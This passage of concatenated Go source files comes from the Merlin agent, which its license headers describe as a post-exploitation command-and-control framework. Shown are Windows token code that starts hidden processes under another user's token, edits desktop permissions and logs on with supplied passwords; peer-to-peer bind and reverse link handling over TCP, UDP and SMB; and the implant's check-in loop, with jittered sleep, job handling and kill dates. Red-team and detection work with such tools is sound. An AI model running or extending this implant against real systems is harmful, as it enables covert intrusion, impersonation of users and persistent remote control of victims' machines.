// Update the desktop security descriptor with the new DACL that contains access rights for the token user
err = windows.SetKernelObjectSecurity(windows.Handle(hDesktop), windows.DACL_SECURITY_INFORMATION, sdDesktopNew)
if err != nil {
stderr = fmt.Sprintf("there was an error calling windows.SetKernelObjectSecurity to add an updated DACL to the desktop object: %s\n", err)
return
}
// Defer restoring the original security descriptor for the desktop
defer func() {
err = windows.SetKernelObjectSecurity(windows.Handle(hDesktop), windows.DACL_SECURITY_INFORMATION, sdDesktop)
if err != nil {
stderr += fmt.Sprintf("there was an error calling windows.SetKernelObjectSecurity to restore the original desktop security descriptor: %s\n", err)
}
}()
}
var lpCurrentDirectory uint16 = 0
lpStartupInfo := &windows.StartupInfo{
StdInput: stdInRead,
StdOutput: stdOutWrite,
StdErr: stdErrWrite,
Flags: windows.STARTF_USESTDHANDLES | windows.STARTF_USESHOWWINDOW,
ShowWindow: windows.SW_HIDE,
}
lpProcessInformation := &windows.ProcessInformation{}
LOGON_NETCREDENTIALS_ONLY := uint32(0x2) // Could not find this constant in the windows package
dwLogonFlags := LOGON_NETCREDENTIALS_ONLY
dwCreationFlags := 0
var lpEnvironment uintptr
// Parse optional arguments
var applicationName uintptr
if *lpApplicationName == 0 {
applicationName = 0
} else {
applicationName = uintptr(unsafe.Pointer(lpApplicationName))
}
var commandLine uintptr
if *lpCommandLine == 0 {
commandLine = 0
} else {
commandLine = uintptr(unsafe.Pointer(lpCommandLine))
}
var currentDirectory uintptr
if lpCurrentDirectory == 0 {
currentDirectory = 0
} else {
currentDirectory = uintptr(unsafe.Pointer(&lpCurrentDirectory))
}
err = advapi32.CreateProcessWithTokenW(
uintptr(hToken),
uintptr(dwLogonFlags),
applicationName,
commandLine,
uintptr(dwCreationFlags),
lpEnvironment,
//uintptr(unsafe.Pointer(lpCurrentDirectory)),
currentDirectory,
uintptr(unsafe.Pointer(lpStartupInfo)),
uintptr(unsafe.Pointer(lpProcessInformation)),
)
if err != nil {
stderr = err.Error()
return
}
stdout += fmt.Sprintf("Created %s process with an ID of %d\n", application, lpProcessInformation.ProcessId)
// Close the "write" pipe handles
err = pipes.ClosePipes(0, 0, 0, stdOutWrite, 0, stdErrWrite)
if err != nil {
stderr = err.Error()
return
}
// Read from the pipes
var out string
_, out, stderr, err = pipes.ReadPipes(0, stdOutRead, stdErrRead)
if err != nil {
stderr += err.Error()
}
stdout += out
// Close the "read" pipe handles
err = pipes.ClosePipes(stdInRead, 0, stdOutRead, 0, stdErrRead, 0)
if err != nil {
stderr += err.Error()
return
}
return
}
// GetCurrentUserAndGroup retrieves the username and the user's primary group for the calling process primary token
func GetCurrentUserAndGroup() (username, group string, err error) {
token := windows.GetCurrentProcessToken()
username, err = GetTokenUsername(token)
if err != nil {
return
}
grp, err := token.GetTokenPrimaryGroup()
if err != nil {
return
}
group = grp.PrimaryGroup.String()
return
}
// GetTokenIntegrityLevel enumerates the integrity level for the provided token and returns it as a string
func GetTokenIntegrityLevel(token windows.Token) (string, error) {
cli.Message(cli.DEBUG, "entering tokens.GetTokenIntegrityLevel()")
var info byte
var returnedLen uint32
// Call the first time to get the output structure size
err := windows.GetTokenInformation(token, windows.TokenIntegrityLevel, &info, 0, &returnedLen)
if err != windows.ERROR_INSUFFICIENT_BUFFER {
return "", fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err)
}
// Knowing the structure size, call again
TokenIntegrityInformation := bytes.NewBuffer(make([]byte, returnedLen))
err = windows.GetTokenInformation(token, windows.TokenIntegrityLevel, &TokenIntegrityInformation.Bytes()[0], returnedLen, &returnedLen)
if err != nil {
return "", fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err)
}
// Read the buffer into a byte slice
bLabel := make([]byte, returnedLen)
err = binary.Read(TokenIntegrityInformation, binary.LittleEndian, &bLabel)
if err != nil {
return "", fmt.Errorf("there was an error reading bytes for the token integrity level: %s", err)
}
// Integrity level is in the Attributes portion of the structure, a DWORD, the last four bytes
// https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label
// https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes
integrityLevel := binary.LittleEndian.Uint32(bLabel[returnedLen-4:])
return integrityLevelToString(integrityLevel), nil
}
// GetTokenPrivileges enumerates the token's privileges and attributes and returns them
func GetTokenPrivileges(token windows.Token) (privs []windows.LUIDAndAttributes, err error) {
cli.Message(cli.DEBUG, "entering tokens.GetTokenPrivileges()")
// Get the privileges and attributes
// Call to get structure size
var returnedLen uint32
err = windows.GetTokenInformation(token, windows.TokenPrivileges, nil, 0, &returnedLen)
if err != syscall.ERROR_INSUFFICIENT_BUFFER {
err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err)
return
}
// Call again to get the actual structure
info := bytes.NewBuffer(make([]byte, returnedLen))
err = windows.GetTokenInformation(token, windows.TokenPrivileges, &info.Bytes()[0], returnedLen, &returnedLen)
if err != nil {
err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err)
return
}
var privilegeCount uint32
err = binary.Read(info, binary.LittleEndian, &privilegeCount)
if err != nil {
err = fmt.Errorf("there was an error reading TokenPrivileges bytes to privilegeCount: %s", err)
return
}
// Read in the LUID and Attributes
for i := 1; i <= int(privilegeCount); i++ {
var priv windows.LUIDAndAttributes
err = binary.Read(info, binary.LittleEndian, &priv)
if err != nil {
err = fmt.Errorf("there was an error reading LUIDAttributes to bytes: %s", err)
return
}
privs = append(privs, priv)
}
return
}
// GetTokenStats uses the GetTokenInformation Windows API call to gather information about the provided access token
// by retrieving the token's associated TOKEN_STATISTICS structure
func GetTokenStats(token windows.Token) (tokenStats TOKEN_STATISTICS, err error) {
cli.Message(cli.DEBUG, "entering tokens.GetTokenStats()")
// Determine the size needed for the structure
// BOOL GetTokenInformation(
// [in] HANDLE TokenHandle,
// [in] TOKEN_INFORMATION_CLASS TokenInformationClass,
// [out, optional] LPVOID TokenInformation,
// [in] DWORD TokenInformationLength,
// [out] PDWORD ReturnLength
//);
var returnLength uint32
err = windows.GetTokenInformation(token, windows.TokenStatistics, nil, 0, &returnLength)
if err != nil && err != syscall.ERROR_INSUFFICIENT_BUFFER {
err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err)
return
}
// Make the call with the known size of the object
info := bytes.NewBuffer(make([]byte, returnLength))
var returnLength2 uint32
err = windows.GetTokenInformation(token, windows.TokenStatistics, &info.Bytes()[0], returnLength, &returnLength2)
if err != nil {
err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err)
return
}
err = binary.Read(info, binary.LittleEndian, &tokenStats)
if err != nil {
err = fmt.Errorf("there was an error reading binary into the TOKEN_STATISTICS structure: %s", err)
return
}
return
}
// GetTokenUsername returns the domain and username associated with the provided token as a string
func GetTokenUsername(token windows.Token) (username string, err error) {
cli.Message(cli.DEBUG, "entering tokens.GetTokenUsername()")
user, err := token.GetTokenUser()
if err != nil {
return "", fmt.Errorf("there was an error calling GetTokenUser(): %s", err)
}
account, domain, _, err := user.User.Sid.LookupAccount("")
if err != nil {
return "", fmt.Errorf("there was an error calling SID.LookupAccount(): %s", err)
}
username = fmt.Sprintf("%s\\%s", domain, account)
return
}
// GetTokenSessionId returns the session ID associated with the token
func GetTokenSessionId(token windows.Token) (sessionId uint32, err error) {
cli.Message(cli.DEBUG, "entering tokens.GetTokenSessionId()")
// Determine the size needed for the structure
var returnLength uint32
err = windows.GetTokenInformation(token, windows.TokenSessionId, nil, 0, &returnLength)
if err != nil && err != syscall.ERROR_INSUFFICIENT_BUFFER {
err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err)
return
}
// Make the call with the known size of the object
info := bytes.NewBuffer(make([]byte, returnLength))
var returnLength2 uint32
err = windows.GetTokenInformation(token, windows.TokenSessionId, &info.Bytes()[0], returnLength, &returnLength2)
if err != nil {
err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err)
return
}
err = binary.Read(info, binary.LittleEndian, &sessionId)
if err != nil {
err = fmt.Errorf("there was an error reading binary into the TokenSessionId DWORD: %s", err)
return
}
return
}
// hasPrivilege checks the provided access token to see if it contains the provided privilege
func hasPrivilege(token windows.Token, privilege windows.LUID) (has bool, err error) {
cli.Message(cli.DEBUG, "entering tokens.hasPrivilege()")
// Get the privileges and attributes
// Call to get structure size
var returnedLen uint32
err = windows.GetTokenInformation(token, windows.TokenPrivileges, nil, 0, &returnedLen)
if err != syscall.ERROR_INSUFFICIENT_BUFFER {
err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err)
return
}
// Call again to get the actual structure
info := bytes.NewBuffer(make([]byte, returnedLen))
err = windows.GetTokenInformation(token, windows.TokenPrivileges, &info.Bytes()[0], returnedLen, &returnedLen)
if err != nil {
err = fmt.Errorf("there was an error calling windows.GetTokenInformation: %s", err)
return
}
var privilegeCount uint32
err = binary.Read(info, binary.LittleEndian, &privilegeCount)
if err != nil {
err = fmt.Errorf("there was an error reading TokenPrivileges bytes to privilegeCount: %s", err)
return
}
// Read in the LUID and Attributes
var privs []windows.LUIDAndAttributes
for i := 1; i <= int(privilegeCount); i++ {
var priv windows.LUIDAndAttributes
err = binary.Read(info, binary.LittleEndian, &priv)
if err != nil {
err = fmt.Errorf("there was an error reading LUIDAttributes to bytes: %s", err)
return
}
privs = append(privs, priv)
}
// Iterate over provided token's privileges and return true if it is present
for _, priv := range privs {
if priv.Luid == privilege {
return true, nil
}
}
return false, nil
}
// integrityLevelToString converts an access token integrity level to a string
// https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
func integrityLevelToString(level uint32) string {
switch level {
case 0x00000000: // SECURITY_MANDATORY_UNTRUSTED_RID
return "Untrusted"
case 0x00001000: // SECURITY_MANDATORY_LOW_RID
return "Low"
case 0x00002000: // SECURITY_MANDATORY_MEDIUM_RID
return "Medium"
case 0x00002100: // SECURITY_MANDATORY_MEDIUM_PLUS_RID
return "Medium High"
case 0x00003000: // SECURITY_MANDATORY_HIGH_RID
return "High"
case 0x00004000: // SECURITY_MANDATORY_SYSTEM_RID
return "System"
case 0x00005000: // SECURITY_MANDATORY_PROTECTED_PROCESS_RID
return "Protected Process"
default:
return fmt.Sprintf("Uknown integrity level: %d", level)
}
}
// ImpersonationToString converts a SECURITY_IMPERSONATION_LEVEL uint32 value to it's associated string
func ImpersonationToString(level uint32) string {
switch level {
case windows.SecurityAnonymous:
return "Anonymous"
case windows.SecurityIdentification:
return "Identification"
case windows.SecurityImpersonation:
return "Impersonation"
case windows.SecurityDelegation:
return "Delegation"
default:
return fmt.Sprintf("unknown SECURITY_IMPERSONATION_LEVEL: %d", level)
}
}
// LogonUser creates a new logon session for the user according to the provided logon type and returns a Windows access
// token for that logon session. This is a wrapper function that includes additional validation checks
func LogonUser(user string, password string, domain string, logonType uint32, logonProvider uint32) (hToken windows.Token, err error) {
cli.Message(cli.DEBUG, "entering tokens.LogonUser()")
if user == "" {
err = fmt.Errorf("a username must be provided for the LogonUser call")
return
}
if password == "" {
err = fmt.Errorf("a password must be provided for the LogonUser call")
return
}
if logonType <= 0 {
err = fmt.Errorf("an invalid logonType was provided to the LogonUser call: %d", logonType)
return
}
// Check for UPN format (e.g., rastley@acme.com)
if strings.Contains(user, "@") {
temp := strings.Split(user, "@")
user = temp[0]
domain = temp[1]
}
// Check for domain format (e.g., ACME\rastley)
if strings.Contains(user, "\\") {
temp := strings.Split(user, "\\")
user = temp[1]
domain = temp[0]
}
// Check for an empty or missing domain; used with local user accounts
if domain == "" {
domain = "."
}
// Convert username to LPCWSTR
pUser, err := syscall.UTF16PtrFromString(user)
if err != nil {
err = fmt.Errorf("there was an error converting the username \"%s\" to LPCWSTR: %s", user, err)
return
}
// Convert the domain to LPCWSTR
pDomain, err := syscall.UTF16PtrFromString(domain)
if err != nil {
err = fmt.Errorf("there was an error converting the domain \"%s\" to LPCWSTR: %s", domain, err)
return
}
// Convert the password to LPCWSTR
pPassword, err := syscall.UTF16PtrFromString(password)
if err != nil {
err = fmt.Errorf("there was an error converting the password \"%s\" to LPCWSTR: %s", password, err)
return
}
token, err := advapi32.LogonUser(pUser, pDomain, pPassword, logonType, logonProvider)
if err != nil {
return
}
// Convert *unsafe.Pointer to windows.Token
// windows.Token -> windows.Handle -> uintptr
hToken = (windows.Token)(*token)
return
}
// PrivilegeAttributeToString converts a privilege attribute integer to a string
func PrivilegeAttributeToString(attribute uint32) string {
// https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_privileges
switch attribute {
case 0x00000000:
return ""
case 0x00000001:
return "SE_PRIVILEGE_ENABLED_BY_DEFAULT"
case 0x00000002:
return "SE_PRIVILEGE_ENABLED"
case 0x00000001 | 0x00000002:
return "SE_PRIVILEGE_ENABLED_BY_DEFAULT,SE_PRIVILEGE_ENABLED"
case 0x00000004:
return "SE_PRIVILEGE_REMOVED"
case 0x80000000:
return "SE_PRIVILEGE_USED_FOR_ACCESS"
case 0x00000001 | 0x00000002 | 0x00000004 | 0x80000000:
return "SE_PRIVILEGE_VALID_ATTRIBUTES"
default:
return fmt.Sprintf("Unknown SE_PRIVILEGE_ value: 0x%X", attribute)
}
}
// PrivilegeToString converts a LUID to it's string representation
func PrivilegeToString(priv windows.LUID) string {
p, err := advapi32.LookupPrivilegeName(priv)
if err != nil {
return err.Error()
}
return p
}
// TokenTypeToString converts a TOKEN_TYPE uint32 value to it's associated string
func TokenTypeToString(tokenType uint32) string {
switch tokenType {
case windows.TokenPrimary:
return "Primary"
case windows.TokenImpersonation:
return "Impersonation"
default:
return fmt.Sprintf("unknown TOKEN_TYPE: %d", tokenType)
}
}
// Structures
// TOKEN_STATISTICS contains information about an access token
// https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_statistics
//
// typedef struct _TOKEN_STATISTICS {
// LUID TokenId;
// LUID AuthenticationId;
// LARGE_INTEGER ExpirationTime;
// TOKEN_TYPE TokenType;
// SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;
// DWORD DynamicCharged;
// DWORD DynamicAvailable;
// DWORD GroupCount;
// DWORD PrivilegeCount;
// LUID ModifiedId;
// } TOKEN_STATISTICS, *PTOKEN_STATISTICS;
type TOKEN_STATISTICS struct {
TokenId windows.LUID
AuthenticationId windows.LUID
ExpirationTime int64
TokenType uint32 // Enum of TokenPrimary 0 or TokenImpersonation 1
ImpersonationLevel uint32 // Enum
DynamicCharged uint32
DynamicAvailable uint32
GroupCount uint32
PrivilegeCount uint32
ModifiedId windows.LUID
}
================================================
FILE: p2p/memory/memory.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package memory is an in-memory repository for storing and managing peer-to-peer Link objects
package memory
import (
// Standard
"fmt"
"net"
"sync"
// 3rd Party
"github.com/google/uuid"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/p2p"
)
// Repository holds database of existing peer-to-peer Links in a map
type Repository struct {
sync.Mutex
links sync.Map
}
// repo is the in-memory datastore
var repo *Repository
// NewRepository creates and returns a new in-memory repository for interacting with peer-to-peer Links
func NewRepository() *Repository {
if repo == nil {
repo = &Repository{
Mutex: sync.Mutex{},
}
}
return repo
}
// Delete removes the peer-to-peer Link from the in-memory datastore
func (r *Repository) Delete(id uuid.UUID) {
r.links.Delete(id)
}
// Get finds the peer-to-peer Link by the provided id and returns it
func (r *Repository) Get(id uuid.UUID) (link *p2p.Link, err error) {
a, ok := r.links.Load(id)
if !ok {
err = fmt.Errorf("p2p/memory.Get(): %s is not a known P2P link", id)
return
}
link = a.(*p2p.Link)
return
}
// GetAll returns all peer-to-peer Links in the in-memory datastore
func (r *Repository) GetAll() (links []*p2p.Link) {
r.links.Range(
func(k, v interface{}) bool {
agent := v.(*p2p.Link)
links = append(links, agent)
return true
},
)
return
}
// Store saves the provided peer-to-peer link into the in-memory datastore
func (r *Repository) Store(link *p2p.Link) {
r.links.Store(link.ID(), link)
}
// UpdateConn updates the peer-to-peer Link's embedded conn field with the provided network connection
func (r *Repository) UpdateConn(id uuid.UUID, conn interface{}, remote net.Addr) error {
r.Lock()
defer r.Unlock()
link, err := r.Get(id)
if err != nil {
return fmt.Errorf("p2p/memory.UpdateConn(): %s", err)
}
link.UpdateConn(conn, remote)
r.Store(link)
return nil
}
================================================
FILE: p2p/p2p.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package p2p is used for Agent based peer-to-peer communications
package p2p
import (
// Standard
"fmt"
"net"
"sync"
// 3rd Party
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message"
)
// Types of peer-to-peer links/connections
const (
TCPBIND = 0
TCPREVERSE = 1
UDPBIND = 2
UDPREVERSE = 3
SMBBIND = 4
SMBREVERSE = 5
)
const (
// MaxSizeUDP is the maximum size of a UDP fragment
// http://ithare.com/udp-from-mog-perspective/
MaxSizeUDP = 1450
// MaxSizeSMB is the maximum size of an SMB fragment
// The WriteFileEx Windows API function says:
// "Pipe write operations across a network are limited to 65,535 bytes per write"
// https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefileex
MaxSizeSMB = 65535
)
// Link holds information about peer-to-peer linked agents
type Link struct {
id uuid.UUID // id is Agent id for this peer-to-peer connection
in chan messages.Base // in a channel of incoming Base messages coming in from the linked Agent
out chan messages.Base // out a channel of outgoing Base messages to be sent to the linked Agent
conn interface{} // conn the network connection used to communicate with the linked Agent
connType int // connType of the linked Agent (e.g., tcp-bind, SMB, etc.)
remote net.Addr // remote is the name or address of the remote Agent data is being sent to
listener uuid.UUID // listener is the server-side listener id for this link
sync.Mutex // Mutex is used to lock the Link object for thread safety
}
// NewLink is a factory to build and return a Link structure
func NewLink(id uuid.UUID, listener uuid.UUID, conn interface{}, linkType int, remote net.Addr) *Link {
return &Link{
id: id,
in: make(chan messages.Base, 100),
out: make(chan messages.Base, 100),
conn: conn,
connType: linkType,
remote: remote,
listener: listener,
}
}
// AddIn takes in a base message from a parent Agent or the Merlin server and adds it to the incoming message channel,
// so it can be sent to the child Agent
func (l *Link) AddIn(base messages.Base) {
l.in <- base
}
// AddOut takes in a base message from a child Agent and adds it to the outgoing message channel, so it can be sent to
// the Merlin server
func (l *Link) AddOut(base messages.Base) {
l.out <- base
}
// Conn returns the peer-to-peer network connection used to read and write network traffic
func (l *Link) Conn() interface{} {
return l.conn
}
// GetIn blocks waiting for a Base message from the incoming message channel and returns it
func (l *Link) GetIn() messages.Base {
return <-l.in
}
// GetOut blocks waiting for a Base message from the outgoing message channel and returns it
func (l *Link) GetOut() messages.Base {
return <-l.out
}
// ID returns the peer-to-peer Link's id
func (l *Link) ID() uuid.UUID {
return l.id
}
// Listener returns the peer-to-peer Link's listener id
func (l *Link) Listener() uuid.UUID {
return l.listener
}
// Type returns what type of peer-to-peer Link this is (e.g., TCP reverse or SMB bind)
func (l *Link) Type() int {
return l.connType
}
// Remote returns the address the peer-to-peer Link is connected to
func (l *Link) Remote() net.Addr {
return l.remote
}
// UpdateConn updates the peer-to-peer Link's network connection
// The updated object must be subsequently stored in the repository
func (l *Link) UpdateConn(conn interface{}, remote net.Addr) {
l.conn = conn
l.remote = remote
}
// String returns the peer-to-peer Link's type as a string
func (l *Link) String() string {
return String(l.connType)
}
// String converts the peer-to-peer Link type from a constant to a string
func String(linkType int) string {
switch linkType {
case SMBREVERSE:
return "smb-reverse"
case SMBBIND:
return "smb-bind"
case TCPBIND:
return "tcp-bind"
case TCPREVERSE:
return "tcp-reverse"
case UDPBIND:
return "udp-bind"
case UDPREVERSE:
return "udp-reverse"
default:
return fmt.Sprintf("unknown peer-to-peer agent link type %d", linkType)
}
}
================================================
FILE: p2p/repository.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package p2p
import (
// Standard
"net"
// 3rd Party
"github.com/google/uuid"
)
type Repository interface {
// Delete removes the peer-to-peer Link from the in-memory datastore
Delete(id uuid.UUID)
// Get finds the peer-to-peer Link by the provided id and returns it
Get(id uuid.UUID) (link *Link, err error)
// GetAll returns all peer-to-peer Links in the in-memory datastore
GetAll() (links []*Link)
// Store saves the provided peer-to-peer link into the in-memory datastore
Store(link *Link)
// UpdateConn updates the peer-to-peer Link's embedded conn field with the provided network connection
UpdateConn(id uuid.UUID, conn interface{}, remote net.Addr) error
}
================================================
FILE: qodana.yaml
================================================
version: "1.0"
linter: jetbrains/qodana-go:2023.3
exclude:
- name: All
paths:
- .github
- .qodana
- docs
================================================
FILE: run/run.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package run contains the logic for the Agent to execute operations checking for and sending messages
package run
import (
// Standard
"fmt"
"math/rand"
"os"
"time"
// Merlin
"github.com/Ne0nd0g/merlin-message"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/agent"
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/clients"
"github.com/Ne0nd0g/merlin-agent/v2/core"
as "github.com/Ne0nd0g/merlin-agent/v2/services/agent"
"github.com/Ne0nd0g/merlin-agent/v2/services/client"
"github.com/Ne0nd0g/merlin-agent/v2/services/message"
)
var agentService *as.Service
var clientService *client.Service
var messageService *message.Service
// Run instructs an agent to establish communications with the passed in server using the passed in client
func Run(a agent.Agent, c clients.Client) {
// Set up the Agent service and add the Agent to the repository through the service
agentService = as.NewAgentService()
agentService.Add(a)
// Set up the Client service and add the Client to the repository through the service
clientService = client.NewClientService()
clientService.Add(c)
// Set up the Message service to handle Base messages
messageService = message.NewMessageService(a.ID())
cli.Message(cli.NOTE, fmt.Sprintf("Agent version: %s", core.Version))
cli.Message(cli.NOTE, fmt.Sprintf("Agent build: %s", core.Build))
for {
a = agentService.Get()
c = clientService.Get()
// Verify the agent's kill date hasn't been exceeded
if (a.KillDate() != 0) && (time.Now().Unix() >= a.KillDate()) {
cli.Message(cli.WARN, fmt.Sprintf("agent kill date has been exceeded: %s, quitting...", time.Unix(a.KillDate(), 0).UTC().Format(time.RFC3339)))
os.Exit(0)
}
// Check in
if a.Authenticated() {
// Synchronous clients will fill the console with this message because there is no sleep
if a.Wait() >= 0 {
cli.Message(cli.NOTE, "Checking in...")
}
checkIn()
} else {
err := clientService.Initial()
if err != nil {
agentService.IncrementFailed()
a = agentService.Get()
cli.Message(cli.WARN, err.Error())
cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.Comms().Failed, a.Comms().Retry))
if a.Wait() <= 0 {
sleep := time.Second * 30
cli.Message(cli.NOTE, fmt.Sprintf("Agent's sleep is %s, using error recovery default. Sleeping for %s at %s", a.Wait().String(), sleep.String(), time.Now().UTC().Format(time.RFC3339)))
time.Sleep(sleep)
}
} else {
cli.Message(cli.SUCCESS, "Agent authentication successful")
agentService.SetAuthenticated(true)
agentService.SetInitialCheckIn(time.Now().UTC())
// If the Agent is synchronous, start a listener in a go routine to receive upstream messages anytime
if c.Synchronous() {
go listen()
}
// If the Agent doesn't sleep, start go routines that block waiting for a message to send back to the server
if a.Wait() < 0 {
go messageService.GetJobs()
go messageService.GetDelegates()
} else {
// Used to immediately respond to AgentInfo request job from server
checkIn()
}
}
}
// Get the latest copy of agent and client after incoming messages have been processed
a = agentService.Get()
c = clientService.Get()
// Determine if the max number of failed checkins has been reached
if a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 {
cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d, quitting...", a.MaxRetry()))
os.Exit(0)
}
if a.Wait() >= 0 {
// Sleep
var sleepTime time.Duration
if a.Skew() > 0 {
sleepTime = a.Wait() + (time.Duration(rand.Int63n(a.Skew())) * time.Millisecond) // #nosec G404 - Does not need to be cryptographically secure, deterministic is OK
} else {
sleepTime = a.Wait()
}
cli.Message(cli.NOTE, fmt.Sprintf("Sleeping for %s at %s", sleepTime.String(), time.Now().UTC().Format(time.RFC3339)))
time.Sleep(sleepTime)
}
}
}
// checkIn is the function that agent runs at every sleep/skew interval to check in with the server for jobs
func checkIn() {
cli.Message(cli.DEBUG, "run/run.checkIn(): entering into function...")
defer cli.Message(cli.DEBUG, "run/run.checkIn(): leaving function...")
a := agentService.Get()
c := clientService.Get()
var msg messages.Base
if a.Wait() < 0 {
// This call blocks until there is a message to return
cli.Message(cli.NOTE, fmt.Sprintf("Waiting for a message to send upstream at %s", time.Now().UTC().Format(time.RFC3339)))
msg = messageService.Get()
cli.Message(cli.NOTE, fmt.Sprintf("Received message at %s", time.Now().UTC().Format(time.RFC3339)))
} else {
// This call DOES NOT block and will return a CheckIn message if there are no other messages in the queue
msg = messageService.Check()
}
// Send the message to Merlin server or parent Agent
bases, err := c.Send(msg)
if err != nil {
agentService.IncrementFailed()
a := agentService.Get()
cli.Message(cli.WARN, err.Error())
// Determine if the max number of failed checkins has been reached
if a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 {
cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d, quitting...", a.MaxRetry()))
os.Exit(0)
} else {
cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.Failed(), a.MaxRetry()))
}
// Put the jobs back into the queue if there was an error
messageService.Store(msg)
/*
if msg.Type == messages.JOBS {
err = messageService.Handle(msg)
if err != nil {
agentService.IncrementFailed()
}
}
*/
if a.Wait() <= 0 {
sleep := time.Second * 30
cli.Message(cli.NOTE, fmt.Sprintf("Agent's sleep is %s, using error recovery default. Sleeping for %s at %s", a.Wait().String(), sleep.String(), time.Now().UTC().Format(time.RFC3339)))
time.Sleep(sleep)
}
return
}
agentService.SetFailedCheckIn(0)
agentService.SetStatusCheckIn(time.Now().UTC())
// Handle return messages from the Merlin server or the parent Agent
for _, base := range bases {
cli.Message(cli.DEBUG, fmt.Sprintf("Agent ID: %s", base.ID))
cli.Message(cli.DEBUG, fmt.Sprintf("Message Type: %s", base.Type))
cli.Message(cli.DEBUG, fmt.Sprintf("Message Payload: %+v", base.Payload))
// Handle message
err = messageService.Handle(base)
if err != nil {
agentService.IncrementFailed()
// Determine if the max number of failed checkins has been reached
a := agentService.Get()
if a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 {
cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d, quitting...", a.MaxRetry()))
os.Exit(0)
} else {
cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.Failed(), a.MaxRetry()))
}
}
}
}
// listen is an infinite loop used with synchronous Agents to receive Base messages and send them to the message handler
func listen() {
var i int
for {
cli.Message(cli.DEBUG, fmt.Sprintf("run.listen(): entering into loop %d", i))
i++
msgs, err := clientService.Listen()
if err != nil {
agentService.IncrementFailed()
a := agentService.Get()
cli.Message(cli.WARN, fmt.Sprintf("run.listen(): there was an error listening: %s", err))
// Determine if the max number of failed checkins has been reached
if a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 {
cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d, quitting...", a.MaxRetry()))
os.Exit(0)
} else {
cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.Failed(), a.MaxRetry()))
}
} else {
agentService.SetFailedCheckIn(0)
if len(msgs) > 0 {
for _, msg := range msgs {
err = messageService.Handle(msg)
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("run.listen(): there was an error handling incoming messages: %s", err))
agentService.IncrementFailed()
// Determine if the max number of failed checkins has been reached
a := agentService.Get()
if a.Failed() >= a.MaxRetry() && a.MaxRetry() != 0 {
cli.Message(cli.WARN, fmt.Sprintf("maximum number of failed checkin attempts reached: %d, quitting...", a.MaxRetry()))
os.Exit(0)
} else {
cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.Failed(), a.MaxRetry()))
}
}
}
}
}
}
}
================================================
FILE: services/agent/agent.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
